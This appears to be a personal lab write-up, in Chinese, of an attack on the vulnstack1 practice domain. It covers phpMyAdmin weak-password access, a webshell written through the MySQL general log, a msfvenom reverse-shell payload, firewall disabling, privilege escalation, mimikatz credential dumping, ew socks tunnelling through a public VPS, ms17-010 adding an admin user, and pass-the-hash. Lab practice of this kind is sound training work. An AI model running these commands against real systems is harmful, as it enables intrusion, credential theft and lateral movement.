vulnstack1靶场记录
环境搭建
网络配置
两块虚拟网卡,分别为52和72。
kali:192.168.52.130
win7(web服务器):192.168.52.132(连外网)192.168.72.128(连内网)
win2K3(域中服务器):192.168.72.130
win server(域控):192.168.72.129
然后将win7的第二块网卡(72)的dns地址设置为域控的地址启动服务
默认密码hongrisec@2020,在win7中启动phpstudy
攻击web服务器
nmap扫描发现80和3306开放,dirsearch扫描发现phpmyadmin,存在root/root弱口令可直接登入。
攻击方式有很多,这里只采用数据库写马的方式。
查看权限:show variables like '%secure_file%'; (发现secure_file_priv的值为NULL,不能用into outfile的方式直接写马
尝试用log写马:
show variables like 'general%';(查看当前log的目录) set global general_log_file = "C:/phpStudy/www/1.php";(指定日志文件) SELECT ''(写马)
然后用蚁剑连接。
连接后首先查看防火墙状态并关闭
关闭防火墙
windows server 2K3 之前的版本
netsh firewall set opmode disable
之后的版本:
netsh advfirewall set allprofiles state off
- 查看防火墙配置
netsh firewall show config
- 修改防火墙配置
windows server 2K3 之前的版本,允许指定程序全部连接:
netsh firewall add allowedprogram c:\nc.exe "alloc nc" enable
windows server 2K3 之后的版本,允许指定程序进入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
允许3389端口放行:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
后渗透阶段
信息收集
whoami hostname net user ipconfig /all net localgroup administrators 系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" 系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version" 查询系统体系架构:echo % PROCESSOR_ARCHITECTURE% tasklist 或 wmic process list brief(查询进程)
常见杀软的进程
进程名 软件 360sd.exe 360 杀毒 360tray.exe 360 实时保护 ZhuDongFangYu.exe 360 主动防御 KSafeTray.exe 金山卫士 SafeDogUpdateCenter.exe 安全狗 McAfee McShield.exe egui.exe NOD32 AVP.exe 卡巴斯基 avguard.exe 小红伞 bdagent.exe BitDefender
(域信息收集见vulnstack2)
ps: 在域信息收集中,如果出现拒绝访问错误,是因为权限不够,需要先提权再进行查看。
用CS进行后渗透
设置监听
然后选择attack中的package中的windows excutables(s),用刚才新建的listener接收shell。
生成后用蚁剑传到www目录下,在终端中直接运行即可。
连接后默认的sleep为60s,这里为了方便将其设置为sleep 0。用msf进行后渗透
先用msfvenmo生成木马
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.52.130 LPORT=1234 -f exe -o run—_1234.exe
在msf中设置监听
use exploit/mutli/handler set payload windows/x64/meterpreter_reverse_tcp set lhost 192.168.52.130 set lport 1234 run
同样用蚁剑上传马,运行后接收到反弹的shell
meterpreter生成的进程不稳定容易掉,这里需要进程迁移
ps(查看主机正在运行的进程) getpid(查看meterpreter shell的进程) migrate 1416(将shell进程迁移到explorer.exe中) 或者用自动迁移进程命令: run post/windows/manage/migrate 关闭防火墙命令: run post/windows/manage/enable_rdp
各种提权方式
meterpreter提权
getsystem一键提权
发现缺失补丁
wmic qfe get Caption, Description, HotFixID, InstalledOn(列出已安装的补丁)
发现没有安装KB3139914补丁(MS16-032),可以利用msf进行提权
还可以利用msf发现缺失补丁
use post/windows/gather/enum_patches set SESSION 3 run
use post/multi/recon/local_exploit_suggester set LHOST 192.168.52.130 set SESSION 3 run
显然,这台靶机是个筛子。。。利用cs自带的Elevate提权
右击沦陷主机,在Access中选择Elevate(需要新建listener),可生成一个system权限的主机。使用mimikatz抓取密码
run hashdump(获取密码的hash值,虽然感觉没什么用)
使用mimikatz的前提:将meterpreter进程迁移到有system权限的64位进程
ps migrate PID load mimikatz mimikatz_command -f sekurlsa::searchPasswords
或者用kiwi
load kiwi creds_all
横向移动
搭建隧道
在进行横向渗透前,先将该web服务器配置为代理服务器当作跳板机。
直接用msf搭建sock隧道
在session中自动创建路由并使用proxychains代理(不过过了一会就莫名断了)
run post/multi/manage/autoroute run autoroute -p background use auxiliary/server/socks5 run 可用jobs查看任务是否执行
然后配置proxychains.conf,端口都设置为1080搭建SSH隧道绕过firewall直连3389端口
192.168.52.1上执行: ssh -CfNg -L 1153:192.168.52.129:3389 root@192.168.52.130(转发) 在meterpreter中开启3389: run post/windows/manage/enable_rdp rdesktop 192.168.52.1:1153
用ew做转发(推荐)
先把ew传到web服务器上,实验环境中直接在web服务器上做正向代理即可
在win7上运行: ew_for_Win.exe -s ssocksd -l 2080 然后在kali上修改/etc/proxychains 添加socks5 192.168.52.132(win7重启了一次,ip地址发生变化)
在真实渗透环境中,需要通过公网服务器进行转发:
1.在公网vps上执行: ./ew_for_linux64 -s rcsocks -l 2080 -e 2024 & 2.在目标机器上执行 ew_for_Win.exe -s rssocks -d 1.116.196.115 -e 2024 3.在本地kali上添加proxychains规则,连向1.116.196.115 2080
内网信息收集
使用msf内置模块
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机 auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机 auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机 auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口 auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口 auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口 auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口 auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口 auxiliary/scanner/http/title #探测内网http服务的标题 auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口 auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口 auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口 auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口 auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口 auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口 auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口 auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字
使用nmap+代理扫描:
proxychains nmap -Pn -sT 192.168.72.130
利用已知漏洞攻击
ms17-010(445)和 ms19-0708(3389),在msf中使用proxychainsdaili
set proxies socks5:192.168.52.132:2080
然后可尝试使用ms17-010对win2K3和域控进行攻击(因为msf的对应模块出bug所以没有演示)
这里仅尝试用ms17-010添加管理员用户并尝试用3389登录
use auxiliary/admin/smb/ms17_010_command set rhosts 192.168.72.130 set command net user moonflower 1qaz@WSX /add(添加用户) run set command net localgroup administrators moonflower /add(把用户添加到管理员组) run set command net localgroup administrators(查看管理员组) run set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'(打开3389端口) run
利用代理可用成功登录到计算机(但无法登录到域中)
同理也可以用来攻击192.168.72.129(域控)
利用ipc连接域控
建立ipc$连接 net use \\192.168.72.129\c$ "1qaz@WSX" /user:"Administrator" 可以查看域控的目录: dir \\192.168.72.129\c$
hash传递攻击
前面用mimikatz抓取了域管理员administrator的hash,在没有明文密码的情况下,可用使用hash传递攻击
mimikatz中运行: sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:161cff084477fe596a5db81874498a24